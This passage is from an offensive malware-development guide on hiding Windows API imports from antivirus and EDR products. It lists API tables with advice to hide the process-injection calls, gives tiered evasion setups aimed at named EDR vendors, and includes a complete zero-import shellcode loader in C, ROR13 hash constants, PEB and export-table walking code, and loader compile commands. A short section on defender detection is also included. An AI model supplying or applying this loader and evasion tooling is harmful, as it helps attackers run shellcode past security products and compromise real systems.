  hProcess = (HANDLE)-1 for local thread
CreateRemoteThread
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtCreateThreadEx
Syscall SSN:  0xC1 (same as CreateThread)
Detection:    MAXIMUM ALERT — process injection indicator #1
Purpose:      Execute code in another process

IAT Hiding: CRITICAL — this single import can block a payload
  Use NtCreateThreadEx direct syscall instead

Function Pointer:
  typedef HANDLE (WINAPI *pCreateRemoteThread)(HANDLE hProcess,
                                                LPSECURITY_ATTRIBUTES lpThreadAttributes,
                                                SIZE_T dwStackSize,
                                                LPTHREAD_START_ROUTINE lpStartAddress,
                                                LPVOID lpParameter,
                                                DWORD dwCreationFlags,
                                                LPDWORD lpThreadId);

13.3 Process APIs

OpenProcess
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtOpenProcess (ntdll.dll)
Syscall SSN:  0x26 (Windows 10 21H2 x64)
Detection:    Suspicious — accessing another process
Purpose:      Get handle to target process for injection

Function Pointer:
  typedef HANDLE (WINAPI *pOpenProcess)(DWORD dwDesiredAccess,
                                         BOOL  bInheritHandle,
                                         DWORD dwProcessId);
Nt Equivalent:
  NtOpenProcess(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID)
  Requires: CLIENT_ID struct { HANDLE UniqueProcess; HANDLE UniqueThread; }
WriteProcessMemory
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtWriteVirtualMemory (ntdll.dll)
Syscall SSN:  0x3A (Windows 10 21H2 x64)
Detection:    MAXIMUM ALERT when combined with OpenProcess + CreateRemoteThread
Purpose:      Write shellcode to target process memory

Function Pointer:
  typedef BOOL (WINAPI *pWriteProcessMemory)(HANDLE hProcess,
                                               LPVOID lpBaseAddress,
                                               LPCVOID lpBuffer,
                                               SIZE_T nSize,
                                               SIZE_T *lpNumberOfBytesWritten);
Nt Equivalent:
  NtWriteVirtualMemory(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T)
ReadProcessMemory
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtReadVirtualMemory (ntdll.dll)
Syscall SSN:  0x3F (Windows 10 21H2 x64)
Detection:    Suspicious — credential dump indicator (reading LSASS)

Function Pointer:
  typedef BOOL (WINAPI *pReadProcessMemory)(HANDLE hProcess,
                                              LPCVOID lpBaseAddress,
                                              LPVOID lpBuffer,
                                              SIZE_T nSize,
                                              SIZE_T *lpNumberOfBytesRead);

13.4 Module Loading APIs

LoadLibraryA / LoadLibraryW
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        LdrLoadDll (ntdll.dll)
Detection:    Classic dynamic loading indicator — always hide
Purpose:      Load a DLL into the process

IAT Hiding:
  Use LdrLoadDll directly (ntdll — requires UNICODE_STRING setup)
  OR: DLL is already loaded → use PEB walk to get base (no LoadLibrary needed!)

Function Pointer:
  typedef HMODULE (WINAPI *pLoadLibraryA)(LPCSTR lpLibFileName);
  typedef HMODULE (WINAPI *pLoadLibraryW)(LPCWSTR lpLibFileName);

ntdll Equivalent:
  LdrLoadDll(PWCHAR PathToFile, PULONG Flags,
             PUNICODE_STRING ModuleFileName, PHANDLE ModuleHandle)
GetProcAddress
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        LdrGetProcedureAddress (ntdll.dll)
Detection:    Present in any dynamic-loading binary — suspicious combined with others
Purpose:      Resolve function address by name

IAT Hiding:
  Use custom EAT walk (§5) → resolves anything without calling GetProcAddress
  OR: LdrGetProcedureAddress via ntdll (§9)
  → GetProcAddress itself can disappear from IAT!

Function Pointer:
  typedef FARPROC (WINAPI *pGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
GetModuleHandleA / GetModuleHandleW
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll  
Detection:    Less suspicious alone, suspicious with GetProcAddress
Purpose:      Get handle (base address) of a loaded DLL

IAT Hiding:
  Use PEB walk (§4) → resolves DLL base without calling GetModuleHandle!
  → GetModuleHandle completely disappears from IAT

13.5 Synchronization APIs

WaitForSingleObject
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtWaitForSingleObject (ntdll.dll)
Syscall SSN:  0x04 (Windows 10 21H2 x64)
Detection:    Less suspicious alone, but often seen with CreateThread
Purpose:      Wait for thread/process/event to complete

Function Pointer:
  typedef DWORD (WINAPI *pWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);

Nt Equivalent:
  NtWaitForSingleObject(HANDLE, BOOLEAN Alertable, PLARGE_INTEGER Timeout)
  NULL timeout = INFINITE wait
CreateEvent / OpenEvent / SetEvent / WaitForMultipleObjects
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Purpose:      Thread synchronization
Detection:    Low suspicion alone
Nt Equivalents: NtCreateEvent, NtOpenEvent, NtSetEvent, NtWaitForMultipleObjects

13.6 Memory Operations (Heap)

HeapAlloc / HeapFree
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        RtlAllocateHeap / RtlFreeHeap (ntdll.dll)
Detection:    Low suspicion (used by almost all programs)
Purpose:      Dynamic memory from the process heap

IAT Hiding: Usually not worth it — but can replace with ntdll!RtlAllocateHeap
Function Pointer:
  typedef LPVOID (WINAPI *pHeapAlloc)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
  typedef BOOL   (WINAPI *pHeapFree)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);

GetProcessHeap: returns the default heap handle (needed for HeapAlloc)
  typedef HANDLE (WINAPI *pGetProcessHeap)(void);

13.7 Handle Management

CloseHandle
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtClose (ntdll.dll)
Syscall SSN:  0x0F (Windows 10 21H2 x64)
Detection:    Very low suspicion — in IAT of nearly every binary
Purpose:      Close kernel object handles

Usually safe to leave in IAT. Hide if going for zero-import.
Nt Equivalent:
  NtClose(HANDLE Handle)
DuplicateHandle
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtDuplicateObject
Detection:    Moderate — used in handle-stealing attacks (credential theft)
Nt Equivalent: NtDuplicateObject

13.8 Process/Thread Information

GetCurrentProcess / GetCurrentProcessId / GetCurrentThread / GetCurrentThreadId
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Detection:    Very low — common in all software
Note:         GetCurrentProcess() returns (HANDLE)-1 without any syscall
              GetCurrentThread() returns (HANDLE)-2 without any syscall
              Just use these pseudo-handles directly when possible!

Instead of calling GetCurrentProcess(), just use (HANDLE)-1 directly.
No import needed at all.
GetTickCount / GetTickCount64
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Detection:    Low suspicion (benign timing function — good as decoy import)
Purpose:      Get milliseconds since system boot (used for sleep checks, sandbox evasion)
Note:         Also accessible directly via KUSER_SHARED_DATA (no API call needed)
              *((volatile ULONG *)0x7FFE0000 + 0x320/4) → TickCount

13.9 Network APIs (ws2_32.dll)

WSAStartup
─────────────────────────────────────────────────────────────
DLL:          ws2_32.dll
Detection:    Moderate — indicates network usage
Purpose:      Initialize Winsock

Function Pointer:
  typedef int (WINAPI *pWSAStartup)(WORD wVersionRequired, LPWSADATA lpWSAData);
socket / WSASocket
─────────────────────────────────────────────────────────────
DLL:          ws2_32.dll
Detection:    HIGH — network connection indicator (C2 traffic)
Purpose:      Create network socket

IAT Hiding: Always hide ws2_32 imports in a loader/implant
Function Pointer (WSASocket):
  typedef SOCKET (WINAPI *pWSASocket)(int af, int type, int protocol,
                                       LPWSAPROTOCOL_INFOW lpProtocolInfo,
                                       GROUP g, DWORD dwFlags);
connect / bind / listen / accept / send / recv / closesocket
─────────────────────────────────────────────────────────────
DLL:          ws2_32.dll
Detection:    HIGH — presence of connect+send+recv = reverse shell profile
Purpose:      Network I/O

IAT Hiding: Resolve all of these dynamically — ws2_32.dll name is bad enough

13.10 Registry APIs (advapi32.dll)

RegOpenKeyExA/W / RegQueryValueExA/W / RegSetValueExA/W / RegCloseKey
─────────────────────────────────────────────────────────────
DLL:          advapi32.dll (actually kernelbase.dll on modern Windows)
Detection:    Moderate — registry persistence indicator
Purpose:      Read/write Windows Registry (persistence, configuration)

Note: advapi32 functions look "legitimate" and are good DECOY imports
      for IAT camouflage. Add them even if you don't use them.

13.11 Service APIs

OpenSCManagerA/W / CreateServiceA/W / StartServiceA/W
─────────────────────────────────────────────────────────────
DLL:          advapi32.dll
Detection:    HIGH — persistence/privilege escalation indicator
Purpose:      Windows Service management (persistence)

Always hide these — they are major red flags in IAT.

13.12 Process Injection — Full Combo to Hide

Classic shellcode injection combo (ALL must be hidden):
─────────────────────────────────────────────────────────────
OpenProcess                    ← get handle to target
VirtualAllocEx                 ← allocate memory in target
WriteProcessMemory             ← write shellcode to target
VirtualProtectEx               ← make shellcode executable in target
CreateRemoteThread             ← execute shellcode in target
CloseHandle                    ← cleanup

If ANY of these appears in the IAT, modern EDRs flag it.
Technique: Direct syscall ALL of these (§10)
─────────────────────────────────────────────────────────────
NtOpenProcess           (replaces OpenProcess)
NtAllocateVirtualMemory (replaces VirtualAllocEx)
NtWriteVirtualMemory    (replaces WriteProcessMemory)
NtProtectVirtualMemory  (replaces VirtualProtectEx)
NtCreateThreadEx        (replaces CreateRemoteThread)
NtClose                 (replaces CloseHandle)

14. Combining Techniques — Layered IAT Hiding

What it means: No single technique is sufficient. The strongest implants combine multiple layers. This section shows how to stack techniques for maximum evasion.

14.1 Tier 1 — Basic (CTF / Low-Security Targets)

Tier 1 Setup:
  ├─ LoadLibrary + GetProcAddress for most sensitive calls
  ├─ Plaintext API name strings (XOR them with §7 if time allows)
  └─ No other modifications

IAT footprint: LoadLibraryA, GetProcAddress visible
Defeats:   Signature-based AV on obvious API combos
Fails against: EDR hooks on GetProcAddress, YARA rules on API strings
// Tier 1 example — minimal effort
HMODULE h = LoadLibraryA("kernel32.dll");
pVirtualAlloc VA = (pVirtualAlloc)GetProcAddress(h, "VirtualAlloc");
pCreateThread CT = (pCreateThread)GetProcAddress(h, "CreateThread");

14.2 Tier 2 — Intermediate (Corporate AV, Basic EDR)

Tier 2 Setup:
  ├─ Custom GetModuleHandle via PEB walk (§4)
  ├─ Custom GetProcAddress via EAT walk (§5)
  ├─ API names encrypted with XOR (§7)
  └─ IAT Camouflage with decoy imports (§11)

IAT footprint: Only benign decoy functions visible
Defeats:   Static AV, YARA rules, basic IAT analysis
Fails against: EDR behavioral monitoring, memory scanning during execution

14.3 Tier 3 — Advanced (CrowdStrike, SentinelOne, EDR-present)

Tier 3 Setup:
  ├─ PEB walk (§4) for module location
  ├─ EAT walk (§5) for function resolution
  ├─ API hashing with custom algorithm (§6 — NOT ROR13!)
  ├─ Direct syscalls for all sensitive operations (§10)
  ├─ IAT Camouflage (§11)
  ├─ No CRT (§12)
  └─ Encrypted strings throughout (§7)

IAT footprint: Empty or only benign decoys
Defeats:   Static analysis, IAT scanning, GetProcAddress hooks, ntdll hooks

14.4 Zero-Import Shellcode — Complete Example

// zero_import_loader.c
// Uses PEB walk + EAT walk + API hash — ZERO suspicious IAT entries
// Combines: §4 (GetModuleHandle) + §5 (GetProcAddress) + §6 (API hash)

#include <stdint.h>

// Forward declarations (implementations in separate files)
extern HMODULE MyGetModuleHandle(const uint16_t *dllName);
extern FARPROC GetProcAddressByHash(HMODULE hModule, uint32_t hash);

// Precomputed API hashes (no strings in binary!)
#define H_VIRTUALALLOC    0x97BC257FU  // ROR13("VirtualAlloc")
#define H_VIRTUALPROTECT  0xE857500BU  // ROR13("VirtualProtect")
#define H_CREATETHREAD    0x652A9F32U  // ROR13("CreateThread")
#define H_WAITFORSINGLE   0xB4BB4106U  // ROR13("WaitForSingleObject")

// Shellcode to execute (replace with real payload)
uint8_t shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0xCC };
uint32_t shellcode_len = sizeof(shellcode);

// Wide string for L"kernel32.dll" — stored as raw bytes to avoid .rdata strings
static const uint16_t k32_name[] = {
    'k','e','r','n','e','l','3','2','.','d','l','l',0
};

void EntryPoint(void) {
    // Step 1: Find kernel32 base — no GetModuleHandle in IAT
    HMODULE hK32 = MyGetModuleHandle(k32_name);

    // Step 2: Resolve functions by hash — no API names in binary
    typedef LPVOID (WINAPI *pVA)(LPVOID, SIZE_T, DWORD, DWORD);
    typedef BOOL   (WINAPI *pVP)(LPVOID, SIZE_T, DWORD, PDWORD);
    typedef HANDLE (WINAPI *pCT)(LPSECURITY_ATTRIBUTES, SIZE_T,
                                   LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
    typedef DWORD  (WINAPI *pWS)(HANDLE, DWORD);

    pVA VA = (pVA)GetProcAddressByHash(hK32, H_VIRTUALALLOC);
    pVP VP = (pVP)GetProcAddressByHash(hK32, H_VIRTUALPROTECT);
    pCT CT = (pCT)GetProcAddressByHash(hK32, H_CREATETHREAD);
    pWS WS = (pWS)GetProcAddressByHash(hK32, H_WAITFORSINGLE);

    // Step 3: Allocate RW memory
    LPVOID mem = VA(NULL, shellcode_len, 0x3000, 0x04);

    // Step 4: Copy shellcode
    for (uint32_t i = 0; i < shellcode_len; i++)
        ((uint8_t *)mem)[i] = shellcode[i];

    // Step 5: Make executable
    DWORD old;
    VP(mem, shellcode_len, 0x20, &old);  // PAGE_EXECUTE_READ

    // Step 6: Run
    HANDLE h = CT(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
    WS(h, 0xFFFFFFFF);  // INFINITE wait
}

14.5 Decision Tree — Which Technique to Use

What's your target environment?

├─ CTF / lab environment
│   └─ Technique 1 (LoadLibrary + GetProcAddress) → fast and easy
│
├─ Windows Defender only
│   ├─ Technique 2+3 (PEB walk + EAT walk)
│   └─ Technique 5 (XOR-encrypted strings)
│
├─ Enterprise AV (Symantec, McAfee, Trend Micro)
│   ├─ Technique 4 (API hashing)
│   ├─ Technique 9 (IAT camouflage)
│   └─ Technique 10 (CRT removal)
│
├─ EDR Present (CrowdStrike, SentinelOne, Carbon Black)
│   ├─ MUST use: Technique 8 (direct syscalls)
│   ├─ MUST use: Technique 4 (API hashing — custom, not ROR13)
│   ├─ MUST use: Technique 2+3 (PEB walk + EAT walk)
│   ├─ Technique 9 (IAT camouflage)
│   └─ Technique 10 (CRT removal)
│
├─ APT simulation / Red Team vs mature SOC
│   ├─ All of the above combined
│   ├─ Hell's Gate or Tartarus Gate (SSN detection)
│   ├─ Indirect syscalls (syscall inside ntdll, not your own stub)
│   └─ Module stomping for shellcode placement
│
└─ C2 framework implant development
    ├─ PEB walk + EAT walk as baseline
    ├─ Custom seeded hash (unique per campaign)
    ├─ Direct syscalls for all sensitive operations
    └─ IAT camouflage matching target environment profile

15. Tools Reference

15.1 Analysis Tools (To Check Your Work)

PE Analysis — Check what's visible in your IAT:
─────────────────────────────────────────────────────────────
PEStudio           https://www.winitor.com/
  └─ Imports tab → see all IAT entries with suspicious flags
  └─ Strings tab → see all plaintext strings including API names

PE-Bear             https://github.com/hasherezade/pe-bear
  └─ Imports directory → full IAT view
  └─ Hex view → search for API name strings

CFF Explorer        https://ntcore.com/?page_id=388
  └─ Import Directory → detailed IAT/ILT breakdown
  └─ Rebuilder → can modify IAT entries

PEview              https://wjradburn.com/software/
  └─ Lightweight PE viewer, good for quick IAT check

dumpbin.exe         (Windows SDK / MSVC)
  └─ dumpbin /IMPORTS loader.exe
  └─ dumpbin /EXPORTS kernel32.dll  (find ordinals)

objdump             (MinGW / binutils)
  └─ objdump -p loader.exe | grep -A100 "The Import Tables"

15.2 Hash Computation Tools

API Hash Generators:
─────────────────────────────────────────────────────────────
ired.team script     https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
  └─ PowerShell ROR13 hash generator

API Hashing repo     https://github.com/Sh0ckFR/API-Hashing
  └─ C++ implementation of DJB2, ROR13 API hashing

SysWhispers2/3       https://github.com/jthuraisamy/SysWhispers2
  └─ Generates ASM stubs + C headers for direct syscalls
  └─ Supports Hell's Gate, Halo's Gate, Tartarus Gate

SysWhispers3         https://github.com/klezVirus/SysWhispers3
  └─ Adds indirect syscall support
  └─ Egg hunting for syscall stubs within ntdll

15.3 Syscall SSN Tools

SSN / Syscall Number Lookup:
─────────────────────────────────────────────────────────────
SysWhispers2         https://github.com/jthuraisamy/SysWhispers2
  └─ Auto-generates syscall stubs with SSNs for target OS

Hell's Gate          https://github.com/am0nsec/HellsGate
  └─ Dynamic SSN detection at runtime

Halo's Gate          https://sektor7.net/rto-maldev-intermediate (Sektor7)
  └─ Works when Hell's Gate stubs are hooked (checks adjacent stubs)

Tartarus Gate        https://github.com/trickster0/TartarusGate
  └─ Combined Hell's + Halo's Gate approach

FreshyCalls          https://github.com/crummie5/FreshyCalls
  └─ Sorts Zw* exports by RVA to derive SSNs

NtDoc                https://ntdoc.m417z.com/
  └─ Complete undocumented NT API documentation
  └─ Structures, function signatures, everything ntdll

phnt headers         https://github.com/winsiderss/phnt
  └─ Complete NT header files — all undocumented structures

15.4 Framework Tools

Development Frameworks:
─────────────────────────────────────────────────────────────
D/Invoke (C#)        https://github.com/TheWover/DInvoke
  └─ .NET framework for dynamic API invocation + direct syscalls
  └─ Replaces P/Invoke which is visible in managed code IAT

DInvoke_rs (Rust)    https://lib.rs/crates/dinvoke_rs
  └─ Rust port of D/Invoke

RustRedOps           https://github.com/joaoviictorti/RustRedOps
  └─ IAT obfuscation examples in Rust (IAT Obfuscation + IAT Camouflage examples)

Maldev Academy       https://maldevacademy.com/
  └─ Structured malware development course (recommended for C2 development)

Sektor7 courses      https://institute.sektor7.net/
  └─ RTO: Malware Development — Essentials + Intermediate

16. Detection and Analysis

What defenders see, and how they look for IAT hiding.

16.1 Static Detection Methods

1. Empty or Near-Empty IAT
   ─────────────────────────
   Legitimate programs import 20-200+ functions.
   A binary with 1-3 imports is immediately suspicious.

   Detection rule:
   ├─ Parse IAT
   ├─ Count total imported functions
   ├─ If count < 10 AND binary is complex → flag
   └─ If only GetProcAddress + LoadLibraryA → flag

2. Presence of GetProcAddress + LoadLibraryA Together
   ────────────────────────────────────────────────────
   Classic dynamic loading pattern.
   YARA rule example:
   rule DynamicLoading {
       strings:
           $gpa = "GetProcAddress"
           $ll  = "LoadLibraryA"
       condition:
           all of them
   }

3. ROR13 Hash Detection
   ─────────────────────
   Many YARA rules look for the ROR13 algorithm bytes:
   Pattern: C1 C8 0D (ror eax, 13) or similar

   Bypass: Use a different rotation (ROR7, ROR11) and custom seed.

4. Encrypted String Detection
   ─────────────────────────────
   High entropy strings in the binary indicate encryption.
   Tool: FLOSS (FireEye FLOSS) — finds encoded/encrypted strings
   Tool: CyberChef — decode XOR/B64 strings from binary

5. Anomalous Entropy
   ─────────────────────
   Packed/encrypted sections have entropy > 7.0
   tool: diec (Detect-It-Easy), PEiD, ExeInfoPE

16.2 Dynamic/Behavioral Detection

1. EDR API Hooking (User-Mode)
   ────────────────────────────
   EDRs hook ntdll.dll functions in every process.
   They intercept:
     - NtAllocateVirtualMemory
     - NtProtectVirtualMemory
     - NtCreateThreadEx
     - NtWriteVirtualMemory

   Detection: Even if IAT is hidden, the API call still runs through ntdll.
   Bypass: Direct syscalls (§10) — skip ntdll entirely.

2. ETW (Event Tracing for Windows)
   ──────────────────────────────────
   Windows kernel-level event logging.
   ETW-Ti (Threat Intelligence): logs:
     - Memory allocation patterns (RW → RX transitions)
     - Thread creation events
     - Process access events

   Bypass: Patch ETW providers (risky, detected), or use legitimate patterns.

3. Memory Scanning
   ──────────────────
   EDR scans process memory periodically looking for:
     - Shellcode signatures
     - Executable memory without a backing file on disk
     - "Private" memory regions that are executable

   Bypass: Sleep encryption (encrypt shellcode when not running)
           Module stomping (shellcode inside a legitimate DLL's space)

4. Kernel Callbacks
   ──────────────────
   PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine
   These fire in kernel mode regardless of what user-mode does.

   Direct syscalls cannot bypass kernel callbacks.

16.3 Detection Tools for Blue Team

IAT Analysis:
  PE-sieve        https://github.com/hasherezade/pe-sieve
    → Scans process memory for PE files with modified/missing IAT entries

  hollows_hunter  https://github.com/hasherezade/hollows_hunter
    → Finds process hollowing, PE injection, hooks in running processes

API Monitoring:
  API Monitor     http://www.rohitab.com/apimonitor
    → Hook and log every Win32/NT API call in real-time

  Process Monitor (Procmon)  https://docs.microsoft.com/sysinternals
    → File/registry/network/process activity logging

Memory Analysis:
  Volatility3     https://github.com/volatilityfoundation/volatility3
    → Memory forensics — find injected code, PEB anomalies

String Recovery:
  FLOSS           https://github.com/mandiant/flare-floss
    → Finds encoded/encrypted strings even without running the binary

  Cutter/Ghidra/IDA Pro
    → Reverse engineer the PEB walk code and hash lookup loops

[DETECT] Common analyst signatures for IAT-hiding code: - PEB access pattern (GS:[0x60] in disassembly, offset 0x18 into PEB, offset 0x20 into LDR) - EAT walking loop (nested loops iterating AddressOfNames arrays) - Hash comparison at end of loop (compare register to immediate constant) - Function pointer calls (call rax / call rbx instead of call VirtualAlloc) - Absence of import table entries for clearly-used functionality


17. Comparison Matrix

Technique IAT Visibility Strings Visible Complexity EDR Bypass AV Bypass OPSEC Rating
Static Import (baseline) Full exposure Full None None None ★☆☆☆☆
T1: LoadLibrary + GetProcAddress LoadLib+GPA visible API names plaintext Very Low Partial Yes ★★☆☆☆
T2: PEB Walk (GetModuleHandle) No GetModuleHandle Module names plaintext Medium Partial Yes ★★★☆☆
T3: EAT Walk (GetProcAddress) No GetProcAddress API names plaintext Medium Partial Yes ★★★☆☆
T4: API Hashing (ROR13) None None (detected hash algo) High Partial Yes ★★★★☆
T4: API Hashing (custom) None None High Good Yes ★★★★☆
T5: XOR Encrypted Names Configurable None (at rest) Low Partial Yes ★★★☆☆
T6: Ordinal Resolution None None Low Partial Yes ★★★☆☆
T7: LdrGetProcedureAddress Less detected Configurable Medium Better Yes ★★★★☆
T8: Direct Syscalls None None Very High Excellent Yes ★★★★★
T9: IAT Camouflage Decoys only Decoys only Low Partial Yes ★★★☆☆
T10: CRT Removal Minimal Minimal Medium Partial Yes ★★★☆☆
T2+T3+T4+T8+T9 Combined Decoys only None Very High Excellent Yes ★★★★★

18. Cheat Sheet

Quick Workflow — IAT Hiding Decision

# Step 1: Compile binary and check IAT
dumpbin /IMPORTS your_loader.exe

# Step 2: Check for plaintext API strings
strings your_loader.exe | grep -iE "virtual|alloc|thread|inject|process"

# Step 3: If strings visible — add API hashing (§6) or XOR encryption (§7)
# Step 4: If IAT shows VirtualAlloc/etc — add PEB walk (§4) + EAT walk (§5)
# Step 5: If IAT is too empty — add decoy imports (§11)
# Step 6: If EDR present — switch critical calls to direct syscalls (§10)
# Step 7: Compile without CRT (§12) for minimal binary footprint
# Step 8: Verify again with PEStudio, PE-Bear

Quick API Hash Reference (ROR13)

VirtualAlloc           0x97BC257F
VirtualAllocEx         0x6A6A81FA
VirtualProtect         0xE857500B
VirtualProtectEx       0x0DEF64F9
CreateThread           0x652A9F32
CreateRemoteThread     0x72BD9CDD
OpenProcess            0x4B75AEF1
WriteProcessMemory     0xD83D6AA1
ReadProcessMemory      0x8675FA6C
WaitForSingleObject    0xB4BB4106
WaitForMultipleObjects 0x35C2C9C9
LoadLibraryA           0xEC0E4E8E
LoadLibraryW           0x73E2D87E
GetProcAddress         0x7C0DFCAA
GetModuleHandleA       0xDAE57A25
GetModuleHandleW       0x21ACE41F
CloseHandle            0x528796C6
HeapAlloc              0xA5FD0264
HeapFree               0x0F3CF9FE
ExitProcess            0x56A2B5F0
Sleep                  0xE035F044
GetTickCount           0xCE69A96F
WSAStartup             0x006B8029
WSASocket              0xE0DF0FEA
connect                0x6174A599

PEB Walk Quick Reference (x64)

// Get PEB
PEB *peb = (PEB *)__readgsqword(0x60);   // x64: GS:[0x60]

// Navigate to module list
PPEB_LDR_DATA ldr  = peb->Ldr;           // PEB + 0x18
LIST_ENTRY *head   = &ldr->InLoadOrderModuleList;  // LDR + 0x10
LIST_ENTRY *entry  = head->Flink;

// Walk entries
while (entry != head) {
    PLDR_DATA_TABLE_ENTRY e = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
    // e->DllBase       = base address
    // e->BaseDllName   = UNICODE_STRING with just "kernel32.dll"
    entry = entry->Flink;
}

EAT Walk Quick Reference

// Given: base = (uint8_t *)hModule
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)base;
IMAGE_NT_HEADERS *nt  = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew);
DWORD exp_rva = nt->OptionalHeader.DataDirectory[0].VirtualAddress;  // [0] = exports
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(base + exp_rva);
DWORD  *fns  = (DWORD  *)(base + exp->AddressOfFunctions);
DWORD  *nms  = (DWORD  *)(base + exp->AddressOfNames);
USHORT *ords = (USHORT *)(base + exp->AddressOfNameOrdinals);

for (DWORD i = 0; i < exp->NumberOfNames; i++) {
    const char *name = (char *)(base + nms[i]);
    if (hash_of(name) == target_hash) {
        return (FARPROC)(base + fns[ords[i]]);
    }
}

NT API to Win32 API Mapping

Win32 API              NT API                        SSN (Win10 21H2 x64)
─────────────────────────────────────────────────────────────────────────
VirtualAlloc        →  NtAllocateVirtualMemory       0x18
VirtualAllocEx      →  NtAllocateVirtualMemory       0x18
VirtualProtect      →  NtProtectVirtualMemory        0x50
VirtualProtectEx    →  NtProtectVirtualMemory        0x50
VirtualFree         →  NtFreeVirtualMemory           0x1E
OpenProcess         →  NtOpenProcess                 0x26
ReadProcessMemory   →  NtReadVirtualMemory           0x3F
WriteProcessMemory  →  NtWriteVirtualMemory          0x3A
CreateThread        →  NtCreateThreadEx              0xC1
CreateRemoteThread  →  NtCreateThreadEx              0xC1
CloseHandle         →  NtClose                       0x0F
WaitForSingleObject →  NtWaitForSingleObject         0x04
CreateFile          →  NtCreateFile                  0x55
ReadFile            →  NtReadFile                    0x06
WriteFile           →  NtWriteFile                   0x08
HeapAlloc           →  RtlAllocateHeap               (not a syscall — heap manager)
LoadLibraryA/W      →  LdrLoadDll                    (not a syscall — loader)
GetProcAddress      →  LdrGetProcedureAddress        (not a syscall — loader)

Note: SSNs change between Windows builds!
      Always use Hell's Gate (§10.2) for dynamic SSN detection in production.

Compile Commands Reference

# MSVC — Release x64, no debug info, no CRT
cl.exe loader.c /O2 /GS- /nodefaultlib /Fe:loader.exe /link /ENTRY:EntryPoint /SUBSYSTEM:WINDOWS kernel32.lib

# MSVC — With MASM syscall stubs
ml64.exe syscalls.asm /c /Fo syscalls.obj
cl.exe loader.c syscalls.obj /O2 /GS- /nodefaultlib /Fe:loader.exe /link /ENTRY:EntryPoint /SUBSYSTEM:WINDOWS kernel32.lib

# MinGW cross-compile (Linux → Windows)
x86_64-w64-mingw32-gcc loader.c -O2 -nostdlib -nostartfiles -e EntryPoint -o loader.exe -lkernel32

# MinGW with NASM syscall stubs
nasm -f win64 syscalls.asm -o syscalls.obj
x86_64-w64-mingw32-gcc loader.c syscalls.obj -O2 -nostdlib -nostartfiles -e EntryPoint -o loader.exe -lkernel32

# Verify IAT result
dumpbin /IMPORTS loader.exe
strings loader.exe | grep -iE "virtual|alloc|create|thread|process|load"

Detection Quick Reference

What analysts look for in your binary:
─────────────────────────────────────────────────────────────
Strings scan:
  "VirtualAlloc"       → use API hashing (§6)
  "CreateThread"       → use API hashing (§6)
  "LoadLibraryA"       → use PEB walk (§4)
  "GetProcAddress"     → use EAT walk (§5)
  "kernel32.dll"       → store as raw wchar array or hash
  "VirtualAlloc" absent but binary executes shellcode → use decoys (§11)

IAT entries:
  VirtualAlloc         → use PEB+EAT+hash (Tier 2+)
  VirtualProtect       → use PEB+EAT+hash (Tier 2+)
  CreateThread         → use PEB+EAT+hash (Tier 2+)
  WriteProcessMemory   → use PEB+EAT+hash (Tier 2+)
  LoadLibraryA         → use PEB walk (§4)
  GetProcAddress       → use EAT walk (§5)
  WSASocket/connect    → use PEB+EAT+hash for ws2_32

Dynamic behavior:
  RW→RX memory change  → use RWX alloc (bad OPSEC) or staged write
  CreateThread after VirtualProtect → use direct syscalls (§10)
  OpenProcess + WriteProcessMemory  → use direct syscalls (§10)

References & Tools

Core Reading: - ired.team — Windows API Hashing in Malware: https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware - 0xPat — Malware Dev Part 4 (Anti Static Analysis): https://0xpat.github.io/Malware_development_part_4/ - Cocomelonc — GetModuleHandle implementation: https://cocomelonc.github.io/malware/2023/04/08/malware-av-evasion-15.html - Cocomelonc — GetProcAddress implementation: https://cocomelonc.github.io/malware/2023/04/16/malware-av-evasion-16.html - MalwareTech — PEB Module Location: https://malwaretech.com/wiki/locating-modules-via-the-peb-x64 - Huntress — Randomizing API Hashes: https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection

Syscall Research: - Hell's Gate (original): https://github.com/am0nsec/HellsGate - Tartarus Gate: https://github.com/trickster0/TartarusGate - SysWhispers2/3: https://github.com/jthuraisamy/SysWhispers2 - Red Ops — Exploring Hell's Gate: https://redops.at/en/blog/exploring-hells-gate - HADESS — EDR Evasion Using Syscalls: https://hadess.io/edr-evasion-techniques-using-syscalls/

MITRE ATT&CK: - T1027.007 — Dynamic API Resolution: https://attack.mitre.org/techniques/T1027/007/ - Startup Defense T1027.007 Analysis: https://www.startupdefense.io/mitre-attack-techniques/t1027-007-dynamic-api-resolution

Undocumented Windows: - NtDoc: https://ntdoc.m417z.com/ - phnt headers: https://github.com/winsiderss/phnt - ReactOS ntdll source: https://doxygen.reactos.org

